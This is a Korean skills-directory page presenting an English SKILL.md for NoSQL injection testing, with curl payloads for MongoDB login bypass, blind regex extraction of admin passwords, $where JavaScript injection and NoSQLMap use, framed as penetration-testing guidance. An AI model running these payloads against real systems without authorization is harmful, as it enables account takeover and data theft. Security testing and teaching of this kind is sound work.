본문으로 건너뛰기
Skillpedia
보안35k · #7917

exploiting-nosql-injection-vulnerabilities

하는 일

이 도구는 MongoDB 같은 NoSQL 데이터베이스의 보안 결함을 찾고 악용하는 데 도움을 줍니다. 허가되지 않은 정보 접근이나 로그인 우회가 가능한지 테스트할 수 있습니다.

사용하는 경우

  • ✓NoSQL 데이터베이스를 사용하는 웹사이트의 보안을 테스트할 때.
  • ✓로그인 시스템이 속을 수 있는지 확인하고 싶을 때.
  • ✓쿼리를 위해 JSON 데이터를 받는 API를 분석하는 경우.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“MongoDB 데이터베이스를 사용하는 example.com에서 보안 취약점을 찾아 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 도구는 데이터베이스에 특수하게 만든 명령을 보내, 데이터베이스가 특정 지시를 해석하는 방식을 악용합니다. 이를 통해 시스템이 허가되지 않은 접근이나 데이터 유출에 취약한지 드러날 수 있습니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Exploiting NoSQL Injection Vulnerabilities

When to Use

  • During web application penetration testing of applications using NoSQL databases
  • When testing authentication mechanisms backed by MongoDB or similar databases
  • When assessing APIs that accept JSON input for database queries
  • During bug bounty hunting on applications with NoSQL backends
  • When performing security code review of database query construction

Prerequisites

  • Burp Suite Professional or Community Edition with JSON support
  • NoSQLMap tool installed (pip install nosqlmap or from GitHub)
  • Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
  • Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
  • Proxy configured for HTTP traffic interception
  • Python 3.x for custom payload scripting

Workflow

Step 1 — Identify NoSQL Injection Points

# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin\"", "password": "test"}'

# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"

# Check for error-based detection
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"query": {"$gt": ""}}'

Step 2 — Perform Authentication Bypass

# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'

# Bypass with $gt operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Target specific user with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": ".*"}}'

# Bypass using $exists operator
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$exists": true}, "password": {"$exists": true}}'

Step 3 — Extract Data Using Boolean-Based Blind Injection

# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^a"}}'

# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$regex": "^ab"}}'

# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'

Step 4 — Exploit JavaScript Injection via $where

# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.username == \"admin\""}'

# Time-based detection with sleep
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "sleep(5000) || this.username == \"admin\""}'

# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
  -H "Content-Type: application/json" \
  -d '{"$where": "this.password.match(/^a/) != null"}'

Step 5 — Use NoSQLMap for Automated Testing

# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install

# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
  --method POST \
  --data '{"username":"test","password":"test"}'

# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'

Step 6 — Test URL Parameter Injection

# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"

# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"

# Inject via HTTP headers if processed by backend

…
자주 묻는 질문

NoSQL 데이터베이스란 무엇인가요?

기존 데이터베이스와 달리 정보를 유연하게 저장하는 데이터베이스입니다. 대표적인 예로 MongoDB와 CouchDB가 있습니다.

‘NoSQL 인젝션’이란 무엇인가요?

공격자가 데이터베이스로 보내는 데이터에 악성 명령을 삽입해, 허가되지 않은 접근을 얻거나 정보를 추출하는 공격입니다.

이것을 쓰려면 프로그래밍을 알아야 하나요?

데이터베이스의 작동 방식과 데이터베이스가 이해하는 명령을 어느 정도 알면 도움이 됩니다. 다만 도구가 복잡한 과정 중 많은 부분을 자동으로 처리합니다.

상세 정보

작성자의 원본 설명

Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#7917
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬